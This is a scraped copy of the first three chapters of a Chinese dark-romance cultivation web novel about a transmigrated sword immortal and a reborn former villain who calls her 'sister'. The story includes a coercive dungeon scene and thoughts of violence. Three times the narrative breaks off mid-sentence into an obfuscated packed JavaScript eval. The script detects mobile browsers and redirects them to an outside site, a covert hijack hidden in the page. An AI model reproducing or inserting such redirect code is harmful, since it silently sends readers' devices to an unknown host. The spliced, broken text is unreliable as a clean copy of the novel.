《阴湿反派跪求当狗》 1. 往生梦 百年前,令修真界伤亡惨重的凶神浩劫平息后,剑斩凶神的那位剑修提议在昆天域最中心的小岛上开设一处学堂,汇集昆天域三洲五国各个道派宗师,为各派杰出后辈传道授业。 她创建学堂之初说了句让人有些摸不着头脑的话:“还是该搞搞青少年综合素质教育,多培养点能干孩子出来,下次再来个凶神我是打不动了。” …… 百年光阴弹指而过,昔年百艘战船拉来建材和工匠,在荒凉的岛上平底起高楼,学堂刚建成时还带着粉漆未干的仓促和树木刚种下的稚嫩,转眼间如今已是桃李满地,热闹非凡。 “来来来!买定离手!都不准改,不准改了!今年学测头筹花落谁家……喂喂喂放中线上那个,犯规啊,拿走拿走,几百岁的人了还耍赖!只能选一个!你到底押祝祈琰还是林璇玉!” 那人狠心一拍:“我全押璇玉!这孩子老给我们符修长脸了!给我干过剑修!” “哎,要我说还是祝祈琰吧,我带了这么多届,他在剑道上是最有天赋的,我押五百银株。” “啧啧,也不看人家身上流着谁的血,那能不有天赋吗?” “这届学子,又是炎国修士出尽风头啊。一个祝祈琰一个林璇玉,都颇有他二人家中先辈的风采,其余四国的年轻人都要望其项背了。” “您这话说的,可是忘了南疆国那边还冒了个独苗苗?” “呃,那孩子嘛……” 那人神色带点迟疑,捋了捋花白的胡须,摇了摇头。 “是个怪类,不提、不提。” 猎场前,花树下,数张大桌拼在一起,摆上了一排方盘,每一个盘中都写有一道人名。桌前围满了乌泱泱一群人,珠宝钱财哗啦啦被扔进各个盘子里。其中要数最中间两个盘中财物最多,已经快要溢出。 这大概是逐月岛每年学测的传统场面。 忽然,喧哗的气氛戛然而止,赌桌前忙着记录那人觉察到周围的变化,刚一抬眸,就见纤玉般的五指执着一片金箔,将其轻轻推放入角落的盘中。 他凑过去一看:“一片金箔,押南宫政仁,行,你是……” 他提笔抬头,正要记录下注之人的名字,却看见一张陌生面孔。 是名女子,五官是冷淡的,美出了距离感。 见他抬起头,便冲他笑了笑,笑弧里含着柔和日光,花瓣飘落肩头,如同花枝在冬日绽开,给眼前的冰冷染上几分温暖的亮色。 右眼下一颗碎钻般的泪痣平添几分悲天悯人的温柔。 愣了片刻,他回过神说:“那个……请问你是?” 逐月岛一百多号宗师里没这人啊。 未料他此话一出,周遭传来宗师们抑制不住的极低的抽气声,还有人急得偷偷跺脚。 有人开口解围:“仙、仙尊,他年轻,才七十多岁,没、没见过您,您别跟他一般见识。” 还有人说:“仙尊,我们押着玩儿的,今年才开始的,往年不这样,真的……” 仙尊? 祝寒? 那人瞳孔地震,手一抖,狼毫笔翻落。 祝寒在想自己是不是不该来。 她这些年久居在自家宗门,门都不曾出过几次,不管逐月岛的事很久了。想着今天是逐月岛一年一度的学测,才来看看她家孩子表现得怎么样而已。 刚一踏入猎场外的观战区,还笑着准备打招呼,闹腾不止的观战区却瞬间熄了火,纷纷就像摸鱼被抓包,现下则安静如被罚站,只敢偷偷抬起眼皮看她。 这些人都是三洲五国修士中的佼佼者,不少人年纪比她还大上几轮,放在外面都是跺跺脚修真界要抖三抖的。 教宗林玄夜见了她,主动起身给她把中间的位置让出来:“仙尊,快坐快坐。” 祝寒其实不太喜欢这样的氛围,可好像只要她一到哪儿,哪儿就会变成这样,这些人自动将她划到一个不与他们平等的层面。 比如现在,就像一群老师见到了教导主任。 不就是下注吗?玩啊,她也爱玩,怎么一见她就都不玩了。 “不必了,有些困,我先睡会儿,”祝寒随便找了张最近的椅子坐下,懒懒地靠着,单手撑头,合上双眼,“别管我,你们继续。” 没意思,不如装睡。 虽说是装睡,但祝寒闭上眼真就打起盹来。 她低下头,抬起手,看到黑色袖口一侧三颗印着调查局徽记的纽扣。 上司的军帽遮住大半张脸,将特情调查局一级警督的胸章别在她制服上。 “这么年轻当上一级警督,你还是头一个。每一名一级警督都是调查局珍稀的资源,你要保护好自己。不要像那些■■■■■……” 声音渐行渐远,直到最后一个字的尾音时以及近乎听不见。 祝寒发现不是男人在走远,而是她在倒退。 身后是一张巨大的蛛网,一簇簇白丝弹射而来,缠上她的脖颈和四肢,将她慢慢拉向网中。盘踞在网上的也不是什么蜘蛛,而是流着湿漉漉的液体的肉块,不过长着几条巨大的触手,差不多七八根,勉强也可以称为“蜘蛛”吧。 祝寒:…… 好不容易梦到一次现世,不梦点火锅蛋糕冰淇淋就算了,还梦到个这么恶心的东西。 真叫人沮丧。 祝寒垂着头,无奈叹气。 已经三百年了。 三百年前,她执行任务时被异形偷袭,醒来就发现自己胎穿到修真界,成了当时还只是个小破宗门的离火宫掌门的女儿。 系统说阻止这个世界被劫难毁灭就能回到现世,扔下这样一句话后系统再无音讯。 留下她把这句话日夜诵读,牢记于心并且时刻践行着,比对待上班还要认真。 金手指和上帝视角更是没有的,祝寒不禁怀疑自己是不是穿越者中最寒碜的一个。但幸运的是这副身子天赋不错,也就是修仙之人常说的根骨奇绝,附带天火灵根,天生的剑修苗子。 从籍籍无名的小修士到崭露头角,再到将离火宫壮大成炎国的镇国宗门,她也成了世人口中所谓的剑道魁首。 比起这些,她更在意系统口中的“劫难”。 这世界是有不少劫难的。 刚穿来时,这里的修真界还像未开化过的原始社会,虽然有国家制度,但连皇帝都是三宗和世家的傀儡,三宗和世家子弟随随便便就能决定一城人的生死。妥妥就是个漠视秩序,弱肉强食,杀人放火的暗黑修真界。 社会不稳定就是加速毁灭,祝寒只能说服五国一起举起反抗大旗。 第一个百年,斗世家,平三宗,终于在修真界建立起稳定的秩序,救无数修士于水深火热之中。 第二个百年,凶神出世。浩劫当前,她剑斩凶神,被修真界奉为仙尊。 可她依旧没能回去。 第三个百年,诸事安定,平平淡淡。百年复百年,她已经恍惚间快要忘记自己是个现代人。 日子过得没有乐趣。 直到不久前那孩子出现。 这个觉睡得不算沉,祝寒一边做梦,一边还能听见周围在说什么。 在提及某个名字时,祝寒脑子清醒起来,睁开双眼,抬头遥遥看向投射着猎场画面的灵镜。 灵镜中,鲜衣怒马的少年郎挽着剑花,跃跃欲试,在他对面,冒着白气的湖面正盘踞了一条身形硕大的蛇首龙身灵兽俯下头颅,嘶嘶吐着蛇信,一副欲要将少年吞吃入腹的模样。 少年面无惧色,眉宇间意气风发,冲那灵兽摇头挑衅。 那少年便是祝祈琰,祝寒的亲侄子。离火宫秘技红莲业火血脉相传,祝寒虽有过几任道侣,但对生育这种事唯避之而不及,正好兄长仙逝前留有一子,便将他当做离火宫少主培养。 林玄夜见她醒了,问道:“仙尊是来看祈琰的吧?祈琰表现得很不错。” 祝寒:“不,其实……” “祈琰已是气灵境巅峰,有红莲业火加持修行,突破到洞天境也是不远的事了,这速度我也羡慕不来。”林玄夜夸赞道。 她侄子从出生走的就是龙傲天的路子,人见了必要夸上三句话“修炼速度恐怖如斯”“此子前途不可限量”“年轻一辈第一人”。 诸如此类的话祝寒耳朵都要听生茧。 她双眼微阖,又缓缓睁开:“教宗觉得阿政如何?” 林玄夜噎了一下,似是消化了一会儿这个称呼:“南宫……修炼速度也很快,半步洞天,但……容我说一句,快得有点不正常。” 灵镜之中,蛇首龙身灵兽有了动作。 “这只幽潭龙蛇,是这次学测的兽王。”林玄夜的解释在耳畔响起,“如果能合力赢下兽王,祈琰和南宫将是学测的头名。” 许多人这时才注意到,兽王的身后还有一个人,面目看不真切,黑衣飘飘犹如鬼魅幻影,站在阴影之中,与黑暗融为一体。 林玄夜隐晦提醒道:“半年不到,从刚入气灵境一跃成半步洞天,只怕走的不是寻常修炼路子。” 祝寒歪着头,靠着椅背,手撑在雕花木椅扶手上,坐得矜贵又慵懒。漫不经心抬手,触碰到一只不知何处飞来的幽蓝蝴蝶,看着蝴蝶在指尖流连。 她突然冒出一句话把林玄夜吓个半死:“那是因为,他在和我双修。” 林玄夜呆了几秒,宕机般盯着祝寒:“啊?” 祝寒笑起来,后背离开椅背,肩膀也一抖一抖。笑声不大,但很清脆,微风吹动银铃般悦耳:“没有啦,开个玩笑,教宗大人太严肃了,想看点不一样的表情。” 确实只是逗他玩的。 林玄夜嘴角抽搐,只能跟着笑:“哈哈哈哈哈哈哈哈哈……!” “好了,继续看吧。”祝寒重新靠回去,“好久没见阿政,好像长高了一点。” 祝寒这趟是为南宫政仁来的。 这孩子是祝祈琰未婚妻的弟弟,南疆国巫蛊祭司的儿子,本该随着祝祈琰唤祝寒一声姑姑,他却宁愿被祝祈琰暴揍也要叫她为姐姐。 是世间罕见的鬼仙体,也就是纯阴之体。 祝寒目前正需要一个鬼仙体。 百年前与凶神那一战,凶神陨灭,她重伤闭关数年。体内的红莲业火在那一战中也被凶神的孽力侵蚀而产生异变,孽力每每发作,不仅身体痛苦,神志也会受到影响,她因此还将离火宫迁到了极寒之地,以抑制业火。 常年住在极寒之地确能稍微纾解。 不过最好的方式,是与鬼仙体双修。 半年前初见时,漫天飞雪,祝寒遥遥听见少年说了一句—— “我靠……!好冷!” 祝寒:哦哟,是同乡。 没有激动地上去认亲,也没有追问他任何一点有关的事,祝寒只是单纯在想—— 既然是穿越者,那么应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626363|172383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该会像她一样有着感人的毅力吧? 换句话说,应该比较耐造? 只是这个猜想暂时还无法验证。 光是抚上他一只手,抵掌互通内力,这孩子都恨不得落荒而逃。一张脸红透,呼吸声都要粗重几分,看起来下一秒就要原地晕厥。 这让她有种像是在欺负孩子的负罪感。 再说除了双修,也还有别的方式抑制业火,何必为难一个孩子。 也不知他是绑定了个什么系统,修为增长速度近乎妖孽,是个好苗子,就更别被其他事耽搁了。虽说今年逐月岛名额已满,祝寒还是帮他走了个后门,安排他去修习。 这次祝寒从离火宫远道而来,一方面是好奇他修为如何了。 另一方面,她对他的立场还模糊不清,但凡有点不正常的端倪,以防日后麻烦,或许,还是早点除掉比较好。 她抬眼看向灵镜。 兽王明显也只注意到了眼前的祝祈琰,对身后还有个鬼影般的人全然不知,抬起一只巨大龙爪朝祝祈琰挥去。 这一爪速度之快力道之猛,寻常气灵境修士吃下绝对不死也残,可祝祈琰分毫没有躲避的意思,他右手酝酿着一招剑式,目光锁定这当头而来的一爪。 龙爪就要拍下的一瞬,突然像是受到一股强大的阻力,竟就被这么定格在半空中。兽王蛇目中窜起惊疑的怒火,试图继续用力挥爪,可一丝一毫也动不了。 不仅是一只爪子,它竟全身都动弹不了了。 不知从什么时候,在它周围无形的丝线根根交错,将它牢牢限制在狭小的空间内,身躯上、四只龙爪上也都缠满丝线。 少年缓缓走出,阳光只照亮他半张脸,大半身影依旧隐没在黑暗中,周身空气都要冷上几度。 不过依旧可以看出是个俊美的少年,一身黑衣,额前悬坠着南疆银饰,刻刀雕琢般的轮廓棱角分明,英气的脸上却长了一双狭长的狐狸眼,尾睫如一笔恣意上扬的飞墨,妖冶又漂亮。 在他掌心中翻转着一颗银质的小球,那些细微但比钢铁还坚韧的丝线正是从这小球中发散出的。 他叹了口气,因为不耐烦,声音有气无力:“快点行不行?” “啰嗦,不用你说。” 祝祈琰的剑招也在这时斩出,只有一道剑光,却在碰上那只龙爪时化为千百道,如暴雨倾泻。血光迸发,兽王发出一声惨叫,那只布满坚麟的龙爪活生生被斩了下来。 兽王歇斯底里地剧烈挣扎,感受到死亡的威胁,它气势暴增,那些丝线也快限制不住它。 南宫政仁眉宇间有阴霾闪过,眼睫垂下:“系统,借点力量。” 控制着法器的那只手正要发力,突然却抖了一下。 他慢慢低头看去,那只手变成了四散的蓝色蝴蝶。 法器滚落在地。 头传来剧痛,他跌倒了,跪坐在地上,另一只手想扶住剧痛的头,却发现双手都变成了蝴蝶飞走。 “南宫!你在干什么!”祝祈琰就像没发现他的异常一样怒斥道。 失去束缚的兽王狰狞地怪叫着,头颅高高扬起,随即猛地转过头,巨大的蛇目盯着这个暗算它的人,像是要把他铭刻在眼中。 身体变得很轻,飘了起来,南宫政仁发现空中到处都是自己的一部分。 意识逐渐飘散间,他恍然明白过来,自己的灵魂被挤出了身体。 那是某个从遥远时空回溯而来自己。 兽王朝地上的那个他疯狂地袭来。 猎场外,所有人只看到南宫政仁突然傻了一样跪在地上,面对疾速而来的兽王也没有任何反应。 祝寒也惊到了,当即对林玄夜道:“落雷呢?” 猎场笼罩在祝寒自己当年设立的结界之中,初衷是防止有不轨之人远程干涉学测。当学子在猎场中遭遇危险时,结界落雷便会击倒灵兽。 落雷的管辖权现在在林玄夜手中,只见林玄夜手在空中乱划一通结界中也没有反应,他不知所措道:“落雷、落雷失效了!” 林玄夜还没来得及继续说什么,就看到祝寒已经朝猎场冲去。 祝寒速度很快,瞬息之间就赶到幽潭。可终究是慢了一步,眼睁睁看着龙爪拍上南宫政仁胸口,南宫政仁像断线的风筝般重重被拍飞出去。 祝寒抽出腰间一支莹绿的笛子,虚虚点在兽王头上,在兽王漫天炸开的血肉中,她飞身上前接住从空中坠落的南宫政仁。 一手托着他的肩膀,一手托在他膝盖内侧,祝寒低头看清南宫政仁伤势,不由得皱起眉。 整个上半身被血浸透,四道爪痕触目惊心,看着就痛。 祝寒及时护住他经脉,但经脉仍在崩溃边缘。就算不落下残疾,修为恐怕也要废个大半。 他竟还有意识,一边忍不住吐血,一边像害怕脏了祝寒衣服似的捂住嘴,祝寒与他目光对上,微微怔住。 少年狭长的眼眸虚虚地眯着,像刚做了一场美梦般餍足,眼尾晕染着一丝妖异的淡红。虽说眼里有泪意,但祝寒并不觉得是因为痛,倒更像是某种久别重逢后的喜极而泣。 鲜血斑驳的嘴唇轻启,喊了一声:“姐姐,我好想你呀……” 声音酥麻地让人心头发痒。 祝寒忽的觉察到什么,目光一路顺着脸、脖颈、胸口、腹部滑下。 她眉头轻挑。 不是吧?都这样了还能…… 2. 往生梦 南宫政仁生前日天日地,昆天域四大神兽来了都得跪地称他一声巫祖,没想刚一重生还没恢复知觉就被头区区洞天境小蛇拍得血肉模糊吐血不止。 他痛得想死,但下一秒感觉到落入一个气息熟悉的怀中,大脑立刻自动生产出雀跃欢快的神经信号,诶,浑身都不疼了。 只是没想到与姐姐的重逢,他会是这么丢脸一副模样。 姐姐不会嫌弃他吧? 不要啊不要啊不要啊不要啊不要啊QAQ。 但还好,姐姐看着他,表情还算满意? 虽然看的地方不是他的脸。 南宫政仁觉得此时此刻美好得不太真实。 他看向她,移不开眼。 她好似全身都在发光,比阳光还温暖柔和,笼罩了他。发簪上的坠子轻轻摇晃,发丝轻柔地扫在他脸上。 好香。 还是记忆中那么美,只是眼下有一点极淡的黑眼圈。 好心疼。 结合情况,他应该是回到了刚穿来这年。 这一次,他一定要做个替姐姐排忧解难的乖孩子,再也不让她失望了。 因为他前世在地牢里自戕时,那坨恶心的反派系统似乎也跟着一起被解决了,且没有跟着他重生。 他原本只是个大学生,一朝猝死穿进异世绑定了反派系统。这系统极其蛮横霸道,要么毁灭世界要么系统把他毁灭。 南宫政仁不想死,就不得不作恶。 但还好,他其实本就是没什么道德感的。 那年照着系统指示,他出了南疆,设计哄骗祝祈琰那傻子带他去到离火宫。 离火宫建在极寒之地南冥,万川雪花猎猎飞舞,神山威严,日辉失色,他双膝一软险些跪拜,一声“我靠”脱口而出。 一捧泉水般的托力却自神山之巅落下,柔柔将他托起。 一道人影自风雪之中走来,温柔地捧起他的脸,掸去他鼻尖雪花。 满意?温柔?南宫政仁记不清她当时的语气,只记得她对他说:“乖孩子。” 可他并不是什么乖孩子,他只是个被系统操控的傀儡,是来杀她的。 系统似乎很了解她,南宫政仁因此也能装出最让她放松警惕的模样。 虽然也没找到机会下手,但她却因为业火异变爆发而闭关,这一闭就是十年。 等到她出关时,昆天域已乱成一团,他已是令修真界闻风丧胆的巫祖,臻至化境,离系统毁灭世界的目标只差一线。 她面容病态苍白,眼下泛红,目光却依旧坚定,如静静燃烧的野火。 系统不断催促着:杀了她、杀了她、杀了她! 神山之巅,两人决战。 南宫政仁输了。 靠着系统、靠着金手指,他依旧输给祝寒。 不愧是姐姐,果然厉害! 系统在歇斯底里地大叫,南宫政仁却不觉得伤心。 能死在她手里,从此解脱,他只觉得兴奋。 不过祝寒竟然没杀他。 当晚南宫政仁就知道了原因,也知道了祝寒一直以来隐藏得很好的秘密。 原来闭关十年,她状况没有变好。 刚将他扔进地牢,她那副极力维持的清冷姿态就尽数剥落。 红莲业火已经不受控制地暴走,地牢里,祝寒从身后紧紧抱住他,南宫政仁只觉被庞大的恐惧吞没,一簇簇业火自她身侧绽开,莲心已不再是莲心,而是瑰丽的眼珠,花瓣变成扭动的猩红触手,缠上他四肢百骸。 南宫政仁被按在地上,锁链哗啦作响。 下一刻,他浑身一僵,眉头抽搐,脸上极速泛起水波般的潮红。 “阿政,你为什么不听话?”她俯下身,贴近耳畔蛊人心神地问道。 柔软的触手紧紧缠住脖子,他因为窒息而意识模糊。 多来点多来点多来点。 他满脑子都是祝寒,温柔的是她,疯魔的也是她。 原来,这种感觉就是爱吗? 姐姐,我爱你。 他迷迷糊糊地想。 如果能重来一次,就算被系统搞死他也不要做坏事了。 他这种人应该一早就死了才好。 七天七夜后,他确实也跟死了差不多了。 系统还在叽叽喳喳乱吠:趁她不杀你,快点找机会逃出去东山再起! 抱着死志,他催动这辈子最后一道念力,刺入自己识海:“我艹你爹的。” 南宫政仁卒于地牢。 好歹最后侍奉了姐姐一次,这辈子没有遗憾了。 闭眼以后,他发现自己的灵魂在眼花缭乱的时空之海里穿梭,浮浮沉沉,最后被激流冲向某个分支…… 他躺在床上,浑身缠满纱布,隐约听见有人在说什么“修为”“废了”“终生气灵境”。 叽里咕噜说什么乱七八糟的。 他睁开眼。 祝寒坐在床边,听医圣说出南宫政仁这辈子修为恐怕无法再寸进,惋惜的同时也有些苦恼,待南宫政仁醒来该怎么说才能让他接受这个残忍的现实才好。 可怜的孩子,从天之骄子到废人的打击对他恐怕不小。 一转头,突然对上南宫政仁睁得水灵灵的眼睛。 祝寒:还好,终于醒了……就是好像被拍傻了? 这么平静,一定是刚刚没听到医圣说的话。 她觉得早晚也要让南宫政仁知道这件事,早面对早接受,便简短复述了一遍医圣的话。 祝寒说完又立刻补充了一句安慰:“不过你也不要太难受,世上奇珍异宝众多,说不定还有让你恢复的机会。” 南宫政仁:“姐姐。” 祝寒:“嗯?” 祝寒感觉衣袖一角被拽住,抬头一看南宫政仁已是涕泗横流。 这么伤心,看来是打击太大了。 她于心不忍,手覆上他手背,同时输出一道内力,检查着他破乱的经脉。 她手心中的那只手却悄悄翻了一面,从手背朝上翻到了手心朝上,于是两人掌心就这么贴在一起。 祝寒本来没觉得什么不对。 突然感受到指缝间挤入他的手指,然后缓缓扣紧,可以清晰地感觉到他的指骨。 这个动作就有点暧昧了。 医圣在旁边瞄到了一眼,大惊失色。 祝寒想要默默抽出手,他的力气却分外地大,祝寒也不好对一个身心重伤的孩子强行使力,便耐心问道:“阿政,是哪里不舒服吗?” 南宫政仁长了长嘴,话还没说出口,门外先传来一阵嘈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626364|172383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂。 祝寒一看,门外是人影绰绰。 “仙尊!您多年不曾出山,今日终于迎来您尊驾!恳请赐教月某几招剑式!” 负剑人影被一把琴哐地砸飞。 “死剑痴滚一边去吧你!仙尊二十年前先答应要教我御音摧心的!仙尊您还记得吗!那日你说你没带笛子下次一定!老夫就苦等了二十年!” “明明三十年前先答应我要指点我御火!” 门外剑光火光各种招式法术扭打作一团,偶尔还夹杂几声刺耳的琴音。 病床上的南宫政仁黑着脸低声说了句:“几个臭老东西怎么也活了。” 祝寒惯会给人画饼,只是没想到早些年画的饼这些宗师们还记得这么清楚。 此地不宜久留,她要回离火宫。 于是她对着门外喊道:“各位别急,只是人太多我实在记不清,今天你们自行决定一个顺序,明日我按顺序一一与诸位切磋论道!” 门外的声响这才慢慢弱了下来。 “多谢仙尊!我等这就去!” 这招画饼充饥应对寻常修士还够用,医圣是老受害者了,他看穿一切,笑道:“然后今晚找个借口,不得不回离火宫?” 祝寒看门外人影远去,松了口气:“好啦别笑,我回离火宫真的是有正事要做。” 医圣问道:“哦?何事?莫非你业火又……” 祝寒刚要开口,南宫政仁与她紧握在一起的手又更紧了几分。 他泪眼汪汪,上眼皮耷拉着,嘴唇有些颤抖,整个人像一只摇尾乞怜的小狗:“姐姐,求求你,别走……” 祝寒愣了一下,随即微微倾身,靠近了一些,目光描摹着少年俊秀的轮廓,蓦地笑道:“别担心,我带你一起走。” 南宫政仁像听到什么不可思议的话,轻轻咬住下唇,眨了眨眼。 祝寒揉了揉他毛茸茸的脑袋:“怎么?不想跟我回离火宫?” 南宫政仁喉咙滚了滚:“想。” 他漂亮的眼睛里露出难掩的高兴。 看着他眼睛,祝寒目光也柔和起来:“好,我们今晚就出发。” 祝寒扪心自问绝不是无故放宗师们鸽子,只是当下带南宫政仁回离火宫才是最要紧的事。 半年前祝祈琰去南疆国退亲,结果退亲不成,倒是将未婚妻这弟弟带回离火宫。原来祝祈琰在南疆时不慎落入蛊洞,南宫政仁为救他出来,被一只千年冰王蜂蜇伤,染上寒毒。 寒毒对常人来说是不足以致命的,但对鬼仙体来说却是世间最猛的毒,好在离火宫的红莲圣泉能救他一命。 祝祈琰便带他来了离火宫,祝寒也是因此才认识南宫政仁。 红莲圣泉对于鬼仙体来说是绝佳的疗伤之地,当时能顺利祛除他的寒毒,不知如今能不能尽可能修复他的经脉。 且不说这是亲家的孩子,她本就该多加照拂。单论他是因结界的落雷失灵而出事,祝寒就要对他负责到底。 而且—— 祝寒看着在医圣施针麻痹下再度昏睡过去的南宫政仁,他睡得很沉,却依旧紧紧握着她的手不放。 祝寒突然有种从未认识过他的感觉。 但是并不讨厌,反倒是觉得…… 以前怎么没发现这孩子还挺可爱的? 3. 雪夜蝶 医圣收了针,翻开南宫政仁眼皮,确实睡着了。 他回头问祝寒:“你这一回去,又要五年十年才出来?” 业火受到孽力侵蚀一事在医圣这里不是秘密,这百年来他的药对祝寒控制业火帮助也不小。 祝寒眉宇间带上些倦色:“我也想啊,我现在这样子继续在离火宫闭关才是最好的……但恐怕不能如愿了。” 医圣了然:“是因为龙骨窟灵兽的异动?我听光帝和教宗说过,事态好像挺严重,毕竟龙骨窟里还有神兽坤渊。坤渊半步化境,炎国之中也只有你能镇得住。” 龙骨窟是炎国东部边境的一处灵兽聚集地,栖息着上百种灵兽。共有十层,每往下一层灵兽越强,第十层居住的就是昆天域四大神兽之一的神龙坤渊。 近来去龙骨窟闯荡的修士们都传回一个消息,许多灵兽都陷入不正常的躁动,数量还在持续增加。如果龙骨窟真的爆发动乱,将会最直接对附近百姓造成威胁。 祝寒:“嗯,可不是吗。” 炎国就她一个化境修士,要平定龙骨窟,她不去坐镇谁去。 祝寒心想自己爱画饼,那还不都是跟系统学的吗,再画有系统会画?轻飘飘一句“阻止劫难就能回去”,让原本在调查局上班,安稳活到四十岁就能退休的她在昆天域兢兢业业当了三百年牛马。 前两百年还好,身体没啥毛病。 最近这一百年饱受业火异变折磨,身体也不太行了。 不管是曾经在异形肆掠的现世,还是在现在这个修真界,她都像一块维护世界稳定运行的零件。 零件都有使用期限,再好的零件也有报废的那天。 这点她在现世时就明白,所以她一向看得很开。 不过也不是没有突破口。 南宫政仁睡着还死死握着她的手不放,指节因为用力而泛白,祝寒本可以抽出手,但却没有。 十指连心,交叉的手指像丝线将两颗心连接在一起,冰凉的体温通过掌心传来,渗透进皮肤、血管,很舒服,让人安心。 原来仅是肢体触碰,鬼仙体都能带来这样明显的效果吗。 那如果剖开他的血肉,用手一点点感受他内里那些诱人的鲜血、骨骼、内脏……再掏出内丹,生吞掉全身的内力和生机…… 祝寒甩了甩头,飞快地摁灭了这突如其来的念头。 “惜言。”她回头叫医圣的名字,语气有些无奈,“有些时候我其实分不太清,到底是孽力影响性格,还是我本来就不正常。” 白惜言抱着胳膊歪着头:“知道吗?从百年前给你治疗时开始,我最怕的就是有一天听到你说这话。” 祝寒把头转回去:“哦,那还真是对不起。” …… 是夜,在逐月岛宗师们的哀嚎声中,祝寒带着仍在昏睡的南宫政仁踏上回离火宫的路。 走之前她十分诚恳跟宗师们道歉,贡献出了这三百年的修行的心得笔记,并保证下次一定会好好和宗师们切磋论道。 她游神御气,走在风尖上,南宫政仁平躺着飘浮在身旁,上千里的路途也就当散了会儿步,两个时辰后便进入极寒之地南冥的范围。 南冥的夜空星河璀璨,静谧深邃,透着朦胧幻光,数万颗星如同洒在天幕上的银河倒悬,仿佛伸手就能触碰到。 远处那笼罩在深蓝下,起伏的皑皑冰川之间,最显眼最高耸的一座便是赤帝神山,也是离火宫的所在。神山原本在炎国腹地,她百年前把整座山搬来南冥,背靠南冥海,一年四季都是冬日,终年落雪,昼短夜长。 祝寒带着南宫政仁直奔神山山巅的红莲圣泉。 山巅冰雪终年不化,遍布冰雕,但一汪莲池却散发着热腾腾的白气。 她将南宫政仁放在莲池中央能量最浓郁的地方,让他盘膝而坐,水面刚好没过胸口。只见他周身灵气汇聚,已经开始自动吸收这里的能量,极其缓慢地修补着经脉。 看来确实有用。 祝寒在岸边看了会儿,发现一个大问题,那就是速度太慢了。 经脉受损,内力流动阻滞,转化效率极低,照这速度泡一个月都修补不好。 沉思片刻,她脱了外衣和鞋,只着一件薄裙,抬腿跨入水中,涟漪荡漾,朵朵红莲漂荡,她来到南宫政仁面前坐下。掌心相抵,将自己的内力缓缓注入他经脉之中,催动他经脉中的内力运行。 没过多久,他面色果然肉眼可见地红润起来。 祝寒在和他通内力的过程中,自身内力也仿佛在被洗涤,清爽通畅,甚至比她喝白惜言的药效果还好。 她在南宫政仁能承受的限度内以最快速度运转着内力。 大有一种怕猫醒了不让吸所以趁猫睡着了抱住狂吸的既视感。 哦,她倒也没抱着他吸。 抱着的话,效果会不会更好? 不过很快她就冷静了。 这毕竟不是小猫小狗,是个活生生的人,还是个称呼她为姐姐的人。 人家拿你当长辈,你一会儿想挖他内丹一会儿想抱着他吸,人知道得吓成什么样。 尤其是他还是个什么都不懂的孩子。 负罪感涌上心头。 祝寒心想真是疯了,松了手从水中站起来,拎起岸上的衣物就走。 在她走后,一直闭眼不动的南宫政仁缓缓睁开眼,双眼都是血丝,一口憋着的气终于吐出来,随即重重喘着气。 眼里满是遗憾。 刚刚偷瞄的一眼,水汽氤氲,水面上红莲朵朵,开得美极了。莲瓣掩映间,衣衫浸透,水珠滑落锁骨,更是美得不真切 他仰起头,闭上眼,将双手蒙在脸上,感受着残余的香气,鼻腔猛地吸气,直到肺里再也没有空隙。 一晃眼七天过去,这期间祝寒每天都上去看了一次,南宫政仁已经醒了,只是还很虚弱的样子,有气无力的。 她似乎应该再帮他运转几次内力,助他快些恢复,但她心里对此有些隔阂,直到第七天时南宫政仁依旧没什么起色,祝寒才做出决定。 在南宫政仁期盼的目光中,她将刚找来的内力深厚的男弟子推到他面前。 男弟子十分乐意:“小政,放心吧,在你恢复前我都不会走的!” 南宫政仁感激道:“那就谢谢卫师兄了……!” 祝寒:“我回去忙了啊,卫云,这次多谢你了。” 卫云:“不客气,小政跟我们一家人,一家人之间帮帮忙应该的!” 祝寒转身正要离开,身后突然传来卫云的惊呼:“小政,你怎么了?” 祝寒回头,只见南宫政仁突然捂住丹田:“姐姐,内力、内力回来了!” 祝寒:这么快? 离火宫拂雪阁,南宫政仁靠在床上,祝寒捏着他手腕,细细检查了一番后:“没什么大碍了,经脉修复得差不多,运功应该是没问题了。” 虽说经脉已经尽可能修复,但终究无法完好如初,加之病根,他今后修为恐怕不会有太大起色。能突破气灵境瓶颈到达洞天境都已经是不错的了。 就算她不说,南宫政仁自己也更清楚这个事实。 无论是谁,一朝经历这么大的落差心里都不会好受,祝寒只希望他能早点走出来。 心态好起来,希望才会更大。 于是祝寒特意告诉离火宫弟子们,有空多开导开导南宫政仁。 尤其是得有人盯着他,防止他做出什么轻生举动。 随后又修书送去南疆国,将事情告诉南宫政仁父亲,也是想询问南疆关于这种情况有没有什么好法子。只是那位祭司大人一向漠不关心一双儿女,也不知会不会回应她。 之后几天,她开始看炎国皇帝送来的龙骨窟初步探查的资料,没什么空亲自盯着南宫政仁,这天她想起了,叫住一个弟子问了一嘴:“阿政最近怎么样?” 谁知那弟子面露惊恐:“他太恐怖了。” 祝寒心底泛起一丝担忧:“怎么说?” 那弟子道:“我们都觉得他疯了。” 祝寒:“受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 